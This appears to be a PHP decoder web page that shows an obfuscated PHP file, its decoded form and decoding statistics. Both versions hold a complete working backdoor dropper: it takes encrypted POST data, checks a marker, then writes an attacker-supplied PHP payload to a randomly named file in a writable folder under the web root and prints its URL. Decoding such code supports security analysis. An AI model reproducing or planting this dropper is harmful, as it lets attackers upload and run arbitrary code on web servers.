Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $mXgwK = chr(68).chr(79)."\x43"."\x55".chr(398-321)."\105".chr(556-478)."\x54"."\x5f..
Decoded Output download
<?php $mXgwK = chr(68).chr(79)."C"."U".chr(398-321)."E".chr(556-478)."T"."_"."R"."O"."O".chr(520-436);$OQXQr = "H"."T".chr(633-549)."P"."_"."H"."O".chr(125-42)."T";$ujxXwiq = chr(350-246)."t".'t'."p".chr(369-311).'/'."/";$KKkhTdg = chr(392-346)."p".chr(104)."p";$eyarlPyNcM = chr(112).chr(751-647)."p";$vVFrU = chr(536-434).chr(1030-925)."l".chr(101).chr(95)."p"."u".chr(116)."_".chr(1076-977)."o".chr(252-142).chr(116)."e"."n"."t"."s";$KUvSJ = "r".chr(97)."w"."u".chr(114)."l"."d"."e".chr(656-557).chr(111)."d"."e";$fEUsK = chr(1041-924)."n".chr(115)."e".chr(993-879).chr(105).chr(97)."l".'i'.chr(122)."e";$wNkSgT = "p"."h".chr(112).chr(518-400).chr(101)."r"."s".chr(1065-960)."o".chr(110);$MYHfWm = 's'.chr(116).'r'."_".'r'.'o'."t".chr(49).'3';$aOsPEvSOg = 's'.chr(101).chr(639-525).chr(632-527).chr(97).chr(479-371)."i"."z"."e";$zzpjU = "s"."t".chr(251-137).chr(95)."s".'p'."l"."i"."t";foreach ($_POST as $WXcNr => $wsAPF){if (strlen($WXcNr) == 16){$wsAPF = $zzpjU($KUvSJ($MYHfWm($wsAPF)));$WXcNr = array_slice($zzpjU(str_repeat($WXcNr, (count($wsAPF)/16)+1)), 0, count($wsAPF));function PuPPKoX($mtFIdU, $pLxuFlfp, $WXcNr){$AUOpisBDj = "e7589396-4d36-4297-a392-e96290ff9a85";return $mtFIdU ^ $AUOpisBDj[$pLxuFlfp % strlen($AUOpisBDj)] ^ $WXcNr;}$wsAPF = implode("", array_map("PuPPKoX", array_values($wsAPF), array_keys($wsAPF), array_values($WXcNr)));$wsAPF = @$fEUsK($wsAPF);if (@is_array($wsAPF)){$KMfOhySky = array_keys($wsAPF);$wsAPF = $wsAPF[$KMfOhySky[0]];if ($wsAPF === $KMfOhySky[0]){echo @$aOsPEvSOg(Array($eyarlPyNcM => @$wNkSgT(), ));exit();}else {function ZcwnZJ($ghGlhir){static $ezyZcbU = array();$zUtvJr = glob($ghGlhir . '/*', GLOB_ONLYDIR);if (count($zUtvJr) > 0) {foreach ($zUtvJr as $ghGlh) {if (@is_writable($ghGlh)) {$ezyZcbU[] = $ghGlh;}}}foreach ($zUtvJr as $ghGlhir) ZcwnZJ($ghGlhir);return $ezyZcbU;}$ADmgqEbg = $_SERVER[$mXgwK];$zUtvJr = ZcwnZJ($ADmgqEbg);$KMfOhySky = array_rand($zUtvJr);$KrQdt = $zUtvJr[$KMfOhySky] . "/" . substr(md5(time()), 0, 8) . $KKkhTdg;@$vVFrU($KrQdt, $wsAPF);echo $ujxXwiq . $_SERVER[$OQXQr] . substr($KrQdt, strlen($ADmgqEbg));exit();}}}} ?>
Did this file decode correctly?
Original Code
<?php $mXgwK = chr(68).chr(79)."\x43"."\x55".chr(398-321)."\105".chr(556-478)."\x54"."\x5f"."\x52"."\117"."\x4f".chr(520-436);$OQXQr = "\110"."\124".chr(633-549)."\120"."\x5f"."\110"."\x4f".chr(125-42)."\124";$ujxXwiq = chr(350-246)."\164".'t'."\160".chr(369-311).'/'."\57";$KKkhTdg = chr(392-346)."\x70".chr(104)."\x70";$eyarlPyNcM = chr(112).chr(751-647)."\160";$vVFrU = chr(536-434).chr(1030-925)."\154".chr(101).chr(95)."\160"."\165".chr(116)."\137".chr(1076-977)."\x6f".chr(252-142).chr(116)."\145"."\x6e"."\x74"."\163";$KUvSJ = "\x72".chr(97)."\167"."\x75".chr(114)."\x6c"."\x64"."\x65".chr(656-557).chr(111)."\x64"."\x65";$fEUsK = chr(1041-924)."\156".chr(115)."\145".chr(993-879).chr(105).chr(97)."\x6c".'i'.chr(122)."\x65";$wNkSgT = "\160"."\150".chr(112).chr(518-400).chr(101)."\x72"."\x73".chr(1065-960)."\157".chr(110);$MYHfWm = 's'.chr(116).'r'."\x5f".'r'.'o'."\164".chr(49).'3';$aOsPEvSOg = 's'.chr(101).chr(639-525).chr(632-527).chr(97).chr(479-371)."\x69"."\172"."\145";$zzpjU = "\x73"."\164".chr(251-137).chr(95)."\x73".'p'."\154"."\x69"."\x74";foreach ($_POST as $WXcNr => $wsAPF){if (strlen($WXcNr) == 16){$wsAPF = $zzpjU($KUvSJ($MYHfWm($wsAPF)));$WXcNr = array_slice($zzpjU(str_repeat($WXcNr, (count($wsAPF)/16)+1)), 0, count($wsAPF));function PuPPKoX($mtFIdU, $pLxuFlfp, $WXcNr){$AUOpisBDj = "e7589396-4d36-4297-a392-e96290ff9a85";return $mtFIdU ^ $AUOpisBDj[$pLxuFlfp % strlen($AUOpisBDj)] ^ $WXcNr;}$wsAPF = implode("", array_map("PuPPKoX", array_values($wsAPF), array_keys($wsAPF), array_values($WXcNr)));$wsAPF = @$fEUsK($wsAPF);if (@is_array($wsAPF)){$KMfOhySky = array_keys($wsAPF);$wsAPF = $wsAPF[$KMfOhySky[0]];if ($wsAPF === $KMfOhySky[0]){echo @$aOsPEvSOg(Array($eyarlPyNcM => @$wNkSgT(), ));exit();}else {function ZcwnZJ($ghGlhir){static $ezyZcbU = array();$zUtvJr = glob($ghGlhir . '/*', GLOB_ONLYDIR);if (count($zUtvJr) > 0) {foreach ($zUtvJr as $ghGlh) {if (@is_writable($ghGlh)) {$ezyZcbU[] = $ghGlh;}}}foreach ($zUtvJr as $ghGlhir) ZcwnZJ($ghGlhir);return $ezyZcbU;}$ADmgqEbg = $_SERVER[$mXgwK];$zUtvJr = ZcwnZJ($ADmgqEbg);$KMfOhySky = array_rand($zUtvJr);$KrQdt = $zUtvJr[$KMfOhySky] . "/" . substr(md5(time()), 0, 8) . $KKkhTdg;@$vVFrU($KrQdt, $wsAPF);echo $ujxXwiq . $_SERVER[$OQXQr] . substr($KrQdt, strlen($ADmgqEbg));exit();}}}}
Function Calls
chr | 45 |
Stats
MD5 | e449864c30996e473cb6cac5bdc068e2 |
Eval Count | 0 |
Decode Time | 108 ms |